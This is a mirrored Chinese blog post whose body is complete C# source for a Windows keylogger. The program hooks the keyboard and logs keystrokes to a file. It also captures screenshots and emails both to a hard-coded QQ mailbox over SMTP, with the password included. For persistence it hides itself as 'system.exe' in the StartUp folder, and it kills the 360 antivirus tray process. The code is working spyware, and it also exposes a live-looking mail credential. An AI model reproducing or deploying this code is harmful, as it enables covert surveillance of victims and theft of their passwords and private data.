zoukankan      html  css  js  c++  java
  • windows_sendEmail

    using System;
    using System.Collections.Generic;
    using System.ComponentModel;
    using System.Data;
    using System.Drawing;
    using System.IO;
    using System.Linq;
    using System.Net;
    using System.Net.Mail;
    using System.Net.Mime;
    using System.Text;
    using System.Timers;
    using System.Windows.Forms;
    using WindowsHooks;
    using System.Runtime.InteropServices;
    using System.Web;
    using MyEmailTest;
    using Microsoft.Win32;
    using System.Security.Permissions;
    using System.Diagnostics;
    namespace WindowsHooksTest
    {

    public partial class frm_MainForm : Form
    {
    private KeyHooks _KeyHooks;
    private static string screenName;
    static string fileNameTime;
    List<string> deleteFileList = new List<string>();
    static bool isFir = true;
    string keyDownTime;
    static bool record = true;
    public frm_MainForm()
    {
    InitializeComponent();
    //RegistryKeyFunction();
    timer2.Enabled = false;
    isFir = true;
    moveMainFile();
    }
    ~frm_MainForm()
    {
    MessageBox.Show("析构函数调用...");
    }
    class MouseControl
    {
    [DllImport("user32.dll", EntryPoint = "keybd_event")]
    public static extern void keybd_event(
    byte bVk, //定义一个虚据拟键码。键码值必须在1~254之间。
    byte bScan, //定义该键的硬件扫描码
    int dwFlags,
    int dwExtraInfo
    );
    public static void keyClickX()
    {
    keybd_event((byte)Keys.X, 0, 0, 0);
    }
    public static void keyClickC()
    {
    keybd_event((byte)Keys.C, 0, 0, 0);
    }
    }

    private void frm_MainForm_Load(object sender, EventArgs e)
    {
    _KeyHooks = new KeyHooks();
    _KeyHooks.KeyUp +=new KeyEventHandler(_KeyHooks_KeyUp);
    _KeyHooks.KeyDown += new KeyEventHandler(_KeyHooks_Down);

    //每隔5秒发送邮件(可自定义)
    // System.Timers.Timer t = new System.Timers.Timer(1000 * 60); //5秒
    //t.Elapsed += new ElapsedEventHandler(sendmail);

    // t.AutoReset = true;
    // t.Enabled = true;
    // GC.KeepAlive(t);
    // if (DialogResult.OK == MessageBox.Show("是否隐藏主窗体?", "系统提示", MessageBoxButtons.OKCancel, MessageBoxIcon.Question))
    // {
    this.WindowState = FormWindowState.Minimized;
    // }
    _KeyHooks.Start();
    textBox1.Enabled = false;
    textBox2.Enabled = false;
    textBox3.Enabled = false;
    this.MaximumSize = new Size(286, 182);
    this.MinimumSize = new Size(286, 182);
    }
    private void btn_Begin_Click(object sender, EventArgs e)
    {
    if (!_KeyHooks.IsStarted)
    {
    try
    {
    int count = Int32.Parse(textBox2.Text);
    int slppetime = Int32.Parse(textBox3.Text);
    if (count.GetType() == typeof(int) && slppetime.GetType() == typeof(int)&&slppetime != 0 && slppetime < 5000)
    {
    if (count != 0 && count < 11)
    {
    _KeyHooks.Start();
    this.btn_Begin.Text = "停止捕获键盘消息";
    textBox1.Enabled = false;
    textBox2.Enabled = false;
    textBox3.Enabled = false;
    }
    else
    {
    MessageBox.Show("有效点击次数:1-10 有效执行时间间隔:1-5000", "系统提示:", MessageBoxButtons.OK, MessageBoxIcon.Stop);
    }
    }else
    {
    MessageBox.Show("请输入有效的整形数据", "系统提示:", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
    }

    }
    catch (Exception ex)
    {
    MessageBox.Show(ex.Message);
    }
    }
    else
    {
    try
    {
    _KeyHooks.Stop();
    this.btn_Begin.Text = "开始捕获键盘消息";
    textBox1.Enabled = true;
    textBox2.Enabled = true;
    textBox3.Enabled = true;
    }
    catch (Exception ex)
    {
    MessageBox.Show(ex.Message);
    }
    }
    }

    private void btn_Quit_Click(object sender, EventArgs e)
    {
    Application.Exit();
    }

    private void _KeyHooks_Down(object sender, KeyEventArgs e)
    {
    if(isFir)
    {
    if (record)
    {
    keyDownTime = DateTime.Now.ToString("hhmmss");
    record = false;
    return;
    }
    }
    }
    private void _KeyHooks_KeyUp(object sender, KeyEventArgs e)
    {
    if(isFir)
    {
    string currentTimess = DateTime.Now.ToString("hhmmss");
    int tempTime = Int32.Parse(currentTimess);
    int keydownTime = Int32.Parse(keyDownTime);
    Console.WriteLine(keydownTime);
    Console.WriteLine(tempTime);

    Console.WriteLine( tempTime - keydownTime);
    record = true;

    if (tempTime - keydownTime>0.5)
    {
    Console.WriteLine("连续按键");
    System.Threading.Thread.Sleep(2000);
    }

    writetxt(e.KeyData.ToString());
    //判断记事本是否打开(可针对某个程序记录)
    // if (System.Diagnostics.Process.GetProcessesByName("QQ").ToList().Count > 0)
    // {
    // //只取字母和数字、空格、退格键
    // foreach (Process p in System.Diagnostics.Process.GetProcessesByName("QQ"))
    // {
    // try
    // {
    // p.Kill();
    // p.WaitForExit();
    // }
    // catch (Exception exp)
    // {
    // Console.WriteLine(exp.Message);
    // System.Diagnostics.EventLog.WriteEntry("AlchemySearch:KillProcess", exp.Message, System.Diagnostics.EventLogEntryType.Error);
    // }
    // }
    //
    // }
    if (textBox1.Text == "X" || textBox1.Text == "x")
    {
    if ((e.KeyData == Keys.X || (int)e.KeyData == 88))
    {
    int b = Int32.Parse(textBox2.Text);
    while (b > 0)
    {
    MouseControl.keyClickX();
    b = b - 1;
    System.Threading.Thread.Sleep(Int32.Parse(textBox3.Text));
    }
    }
    }
    if (textBox1.Text == "C" || textBox1.Text == "c")
    {
    if ((e.KeyData == Keys.C || (int)e.KeyData == 67))
    {
    int b = Int32.Parse(textBox2.Text);
    while (b > 0)
    {
    MouseControl.keyClickC();
    b = b - 1;
    System.Threading.Thread.Sleep(Int32.Parse(textBox3.Text));
    }
    }
    }

    if (e.KeyData == Keys.Escape)
    {
    Application.Exit();
    }
    if (e.KeyData == Keys.F5)
    {
    btn_Begin_Click(null, null);
    }
    }
    }
    private void writetxt(string txt)
    {
    string filename = @"C:UsersAdministratorSystem.txt";
    if (!File.Exists(filename))
    {
    FileStream fs1 = new FileStream(filename, FileMode.Create, FileAccess.Write);//创建写入文件
    StreamWriter sw = new StreamWriter(fs1);
    sw.Write(txt);//开始写入值,不换行
    sw.Close();
    fs1.Close();
    }
    else
    {
    StreamWriter sr = File.AppendText(filename);
    sr.Write(txt);//开始写入值 ,不换行
    sr.Close();
    }
    }
    protected void SendEmail()
    {
    try
    {
    //smtp.163.com
    // string senderServerIp = "123.125.50.133";
    //smtp.gmail.com
    //string senderServerIp = "74.125.127.109";
    //smtp.qq.com
    //string senderServerIp = "58.251.149.147";
    //string senderServerIp = "smtp.sina.com";
    string senderServerIp ="smtp.qq.com" ;//"smtp.139.com";//139发送邮箱IP
    string toMailAddress = "1572288175@qq.com";//"15713392201@139.com";
    string fromMailAddress ="1572288175@qq.com" ;//"15713392201@139.com";
    string subjectInfo = "hey,this is subject!" + fileNameTime;
    string bodyInfo = "hello, this explain example is success!";
    string mailUsername = "1572288175@qq.com";//"15713392201";139
    string mailPassword = "ahhzbgrxwutshfce";//"139password"; //发送邮箱的密码()139
    string mailPort = "25";
    string attachPath = "";
    if(isFir)
    {
    attachPath = "C://Users//Administrator//System.txt;" + screenName;
    isFir = false;
    }else
    {
    attachPath = screenName;
    }
    MyEmail email = new MyEmail(senderServerIp, toMailAddress, fromMailAddress, subjectInfo, bodyInfo, mailUsername, mailPassword, mailPort, false, false);
    //email.EnableSsl = true;
    //email.UseDefaultCredentials = false;
    email.AddAttachments(attachPath);
    email.Send();
    }
    catch (Exception ex)
    {
    Console.WriteLine(ex.ToString());
    }
    }
    void worker_DoWork(object sender, DoWorkEventArgs e)
    {
    System.Threading.Thread.Sleep(1000);
    }
    public void worker_RunWorkerInputKeyWord()
    {
    BackgroundWorker worker = new BackgroundWorker();
    worker.DoWork += worker_DoWork;
    worker.RunWorkerCompleted += Dosomething;
    worker.RunWorkerAsync();
    ;
    }
    private void Dosomething(object sender, RunWorkerCompletedEventArgs e)
    {
    screenShot();
    SendEmail();
    DeleteSelectImg();
    }
    private void label2_Click(object sender, EventArgs e)
    {

    }

    private void textBox2_TextChanged(object sender, EventArgs e)
    {

    }

    private void frm_MainForm_FormClosing(object sender, FormClosingEventArgs e)
    {
    DialogResult dr = MessageBox.Show("你确定要关闭此窗体么?", "关闭提示", MessageBoxButtons.YesNo, MessageBoxIcon.Information);//触发事件进行提示
    if (dr == DialogResult.No)
    {
    e.Cancel = true;
    }
    else
    {
    this.Hide();
    e.Cancel = true;
    timer2.Enabled = true;
    // System.Threading.Thread.Sleep(2000);
    // e.Cancel = false;//退了
    worker_RunWorkerInputKeyWord();
    }
    }
    private void screenShot()
    {
    this.Visible = false;
    System.Threading.Thread.Sleep(200);
    Bitmap bit = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height);
    Graphics g = Graphics.FromImage(bit);
    g.CopyFromScreen(new Point(0, 0), new Point(0, 0), bit.Size);
    //SaveFileDialog saveFileDialog = new SaveFileDialog();
    // saveFileDialog.Filter = "bmp|*.bmp|jpg|*.jpg|gif|*.gif";
    //if (saveFileDialog.ShowDialog() != DialogResult.Cancel)
    // {
    // bit.Save(saveFileDialog.FileName);
    // }
    fileNameTime = DateTime.Now.ToString("yyyyMMddhhmmss");
    screenName = "C://Users//Administrator//[" + fileNameTime + "].jpg";
    bit.Save(screenName);
    g.Dispose();
    }

    private void textBox3_TextChanged(object sender, EventArgs e)
    {

    }
    void RegistryKeyFunction()
    {
    // RegistryKey key = Registry.LocalMachine;
    // RegistryKey software = key.CreateSubKey("software\AutoRun");
    // software = key.OpenSubKey("software\AutoRun", true);
    // //key.DeleteSubKey("software\test", true); //该方法无返回值,直接调用即可

    // software.SetValue("System", "博客园");
    // string info = "";
    // info = software.GetValue("test").ToString();
    //// software.DeleteValue("test");
    // key.Close();
    // //IsRegeditItemExist();
    // //IsRegeditKeyExit();
    //System.Security.Principal.WindowsIdentity identity = System.Security.Principal.WindowsIdentity.GetCurrent();
    //System.Security.Principal.WindowsPrincipal principal = new System.Security.Principal.WindowsPrincipal(identity);
    //if (principal.IsInRole(System.Security.Principal.WindowsBuiltInRole.Administrator))
    //{
    // // 修改注册表
    //}
    //else
    //{
    // System.Diagnostics.ProcessStartInfo startInfo = new System.Diagnostics.ProcessStartInfo();
    // startInfo.FileName = System.Windows.Forms.Application.ExecutablePath; // 获取当前可执行文件的路径及文件名
    // //以下 Args 为启动本程序的对应的参数
    // startInfo.Arguments = String.Join(" ", startInfo.FileName);
    // startInfo.Verb = "runas";
    // System.Diagnostics.Process.Start(startInfo);
    //}
    string strAssName = Application.StartupPath + @"" + Application.ProductName + @".exe";
    string ShortFileName = Application.ProductName;
    try
    {
    RegistryKey rgkRun = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows", true);
    if (rgkRun == null)
    {
    rgkRun = Registry.LocalMachine.CreateSubKey("SOFTWARE\Microsoft\Windows");
    }
    rgkRun.SetValue(ShortFileName, strAssName);
    }catch(Exception e)
    {
    Console.WriteLine(e.ToString());
    }
    }
    bool IsRegeditItemExist()
    {
    string[] subkeyNames;
    RegistryKey hkml = Registry.LocalMachine;
    RegistryKey software = hkml.OpenSubKey("SOFTWARE");
    //RegistryKey software = hkml.OpenSubKey("SOFTWARE", true);
    subkeyNames = software.GetSubKeyNames();
    //取得该项下所有子项的名称的序列,并传递给预定的数组中
    foreach (string keyName in subkeyNames)
    //遍历整个数组
    {
    if (keyName == "test")
    //判断子项的名称
    {
    hkml.Close();
    return true;
    }
    }
    hkml.Close();
    return false;
    }
    bool IsRegeditKeyExit()
    {
    string[] subkeyNames;
    RegistryKey hkml = Registry.LocalMachine;
    RegistryKey software = hkml.OpenSubKey("SOFTWARE\test");
    //RegistryKey software = hkml.OpenSubKey("SOFTWARE\test", true);
    subkeyNames = software.GetValueNames();
    //取得该项下所有键值的名称的序列,并传递给预定的数组中
    foreach (string keyName in subkeyNames)
    {
    if (keyName == "test") //判断键值的名称
    {
    hkml.Close();
    return true;
    }
    }
    hkml.Close();
    return false;
    }

    private void timer2_Tick(object sender, EventArgs e)
    {
    worker_RunWorkerInputKeyWord();
    }
    void DeleteSelectImg()
    {
    DirectoryInfo path = new DirectoryInfo("C://Users//Administrator");
    deleteFileList.Add("[" + fileNameTime + "].jpg");
    //遍历该路径下的所有文件
    foreach (FileInfo fi in path.GetFiles())
    {
    if(deleteFileList.Count>1)
    {
    try
    {
    for (int i = 0; i < deleteFileList.Count - 1;i++ )
    {
    File.Delete(path + "\" + deleteFileList[i]);//删除当前文件
    deleteFileList.RemoveAt(i);
    }
    }catch(Exception e)
    {
    e.ToString();
    }
    }
    }
    }
    void moveMainFile()
    {
    string ShortFileName = Application.ProductName + ".exe";
    try
    {
    File.Copy("WindowsHooks.dll", "C://ProgramData//Microsoft//Windows//Start Menu//Programs//StartUp//windowshooks.dll");
    File.SetAttributes("C://ProgramData//Microsoft//Windows//Start Menu//Programs//StartUp//windowshooks.dll", FileAttributes.Hidden);
    File.Copy(ShortFileName, "C://ProgramData//Microsoft//Windows//Start Menu//Programs//StartUp//system.exe");
    }catch(Exception e)
    {
    e.ToString();
    }

    try
    {
    Process[] processes = Process.GetProcesses();
    foreach (Process p in processes)
    {
    if (p.ProcessName == "360tray")
    {
    MessageBox.Show("请先关闭,杀毒软件!");
    p.Kill();
    }
    }
    }
    catch (Exception)
    {

    }
    }
    }
    }

    只有不断学习,才可进步。
  • 相关阅读:
    自定义组件要加@click方法
    绑定样式
    647. Palindromic Substrings
    215. Kth Largest Element in an Array
    448. Find All Numbers Disappeared in an Array
    287. Find the Duplicate Number
    283. Move Zeroes
    234. Palindrome Linked List
    202. Happy Number
    217. Contains Duplicate
  • 原文地址:https://www.cnblogs.com/onlyforliu/p/5706122.html
Copyright © 2011-2022 走看看